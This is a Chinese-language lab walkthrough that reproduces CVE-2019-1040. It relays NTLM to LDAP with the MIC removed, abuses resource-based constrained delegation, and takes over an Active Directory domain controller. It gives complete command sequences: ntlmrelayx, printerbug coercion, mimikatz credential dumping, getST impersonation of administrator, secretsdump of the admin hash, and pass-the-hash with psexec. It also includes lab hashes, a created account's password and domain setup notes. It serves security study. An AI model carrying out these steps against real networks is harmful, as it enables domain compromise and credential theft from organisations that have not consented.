CVE-2019-1040 - 基于资源的约束委派攻击域控
环境说明
attack: ubuntu - 192.168.171.128
pc: win7 (PC) - 192.168.171.136
dc: win12 (WIN-13EOVKAINO5) - 192.168.171.134
sdc: win12 (sdc-win12) - 192.168.171.135
攻击复现
有时候会遇上无法创建新的计算机帐户,可能maq为0,或者没有开启ldaps,这个时候可以利用域内已有的计算机账号进行攻击。
maq (MachineAccountQuota)是一个域级别属性,默认情况下可以允许非特权用户将主机连接到活动目录(AD)域,能连接的主机数最多不超过10台。也就是用户能将计算机(不超过10台)加入域。
开启中继:
python ntlmrelayx.py -t ldap://[主域控ip] --delegate-access --escalate-user [机器名用户] --remove-mic --no-dump -smb2support
python ntlmrelayx.py -t ldap://192.168.171.134 --delegate-access --escalate-user PC\$ --remove-mic --no-dump -smb2support
使用spoolsample漏洞,让域控访问中继服务:
python printerbug.py [域控名]/[用户名]@[副域控ip] [attack ip]
python printerbug.py 0kee.com/test@192.168.171.135 192.168.171.128
添加资源委派约束:
在pc机器上利用mimikatz获取到PC$
的ntlm hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
将域控cifs服务委派给PC$
python getST.py [域控名]/[机器名用户] -spn cifs/[辅助域控,一定要以域名形式填写,记得绑定host] -dc-ip [主域控] -hashes [机器名用户hash] -impersonate administrator
python getST.py 0kee.com/PC\$ -spn cifs/sdc-win12.0kee.com -dc-ip 192.168.171.134 -hashes 00000000000000000000000000000000:bbde0feb88c53a65e0175a14d0493c7a -impersonate administrator
secretsdump.py -dc-ip [主域控ip] -k -no-pass [副域控名] -just-dc-user administrator
export KRB5CCNAME=administrator.ccache
secretsdump.py -dc-ip 192.168.171.134 -k -no-pass sdc-win12.0kee.com -just-dc-user administrator
通过psexec链接域控:
python psexec.py administrator@192.168.171.134 -no-pass -dc-ip 192.168.171.134 -hashes aad3b435b51404eeaad3b435b51404ee:fc399a24a9e4aa5f2e574e013f089088
当然也可以不指定,这样将会添加一个机器名用户,但是需要域控开启ldaps,而且maq不能为0。
添加新的computer账号
python ntlmrelayx.py -t ldaps://WIN-13EOVKAINO5.0kee.com --delegate-access --remove-mic -smb2support
python printerbug.py 0kee.com/test@192.168.171.135 192.168.171.128
可以看到新添加成功:
username: MJZCCZGP$ and password: |!2-PBLsK`cttPr
把服务委派到新建的账号
python getST.py -dc-ip 192.168.171.134 -spn cifs/sdc-win12.0kee.com '0kee.com/MJZCCZGP$:|!2-PBLsK`cttPr' -impersonate administrator
export KRB5CCNAME=administrator.ccache
secretsdump.py -dc-ip 192.168.171.134 -k -no-pass sdc-win12.0kee.com -just-dc-user administrator
最后一样能够获取到域控的hash
环境搭建
参考链接:
1、主域控 - win12:
打开服务器管理器,点击添加功能和角色,选择dns服务和active Directory域服务,便直接进行安装。
安装后将服务器提升为域控。
添加新林。
再配置一个ldaps(如果不想添加计算机用户就可以不配置): 参考文章
这里面有些细节要注意:
第一个要注意的就是request.inf中Subject = "CN=ACTIVE_DIRECTORY_FQDN"
的ACTIVE_DIRECTORY_FQDN
需要改为域控的FQDN,即WIN-13EOVKAINO5.0kee.com
第二个运行certlm才是证书管理,需要把ca证书导入到受信任的根证书列表
第三个ldp进行连接的时候,是以域名连接才会进入SSL证书
2、辅助域控
因为vm是用一个模板克隆的,会出现虚拟机都有一样的sid用户,所以需要用C:\Windows\System32\Sysprep\sysprep.exe
来清理一下,需要勾选通用。
加入域
域管登陆sdc
再次打开服务器管理器,点击添加功能和角色,这次只需要安装active Directory域服务即可。
安装完后把它加入现有域:
打printbug时候出现了impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
问题。
可能是spoolss管道未开启,可以通过pipelist查看机器的管道。
开启也比较简单,再这里添加一个打印机就好,选择不需要打印机再列表中,然后进行自定义添加,添加一个不存在的也行。